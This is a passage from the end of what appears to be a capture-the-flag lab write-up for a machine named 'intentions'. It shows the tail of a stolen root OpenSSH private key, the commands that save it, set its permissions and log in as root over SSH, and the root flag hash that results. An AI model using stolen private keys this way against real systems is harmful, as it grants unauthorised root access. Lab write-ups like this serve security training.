X7kpdtTupr+gYhL6gv/A5mCOSvv1BLgEl0A05BeWiv7FOkNX5BMR94/NWOlS1Z3T0p+mbj
D7F0nauYkSG+eLwFAd9K/kcdxTuUlwvmPvQiNg70Z142bt1tKN8b3WbttB3sGq39jder8p
nhPKs4TzMzb0gvZGGVZyjqX68coFz3k1nAb5hRS5Q+P6y/XxmdBB4TEHqSQtQ4PoqDj2IP
DVJTokldQ0d4ghAAAAD3Jvb3RAaW50ZW50aW9ucwECAw==
-----END OPENSSH PRIVATE KEY-----
We could have also read root.txt
, but it is better to get full access as root
:
$ vim id_rsa
$ chmod 600 id_rsa
$ ssh -i id_rsa root@10.10.11.220
root@intentions:~# cat root.txt
426acc1079e35bc4263e98f6ba65ed1c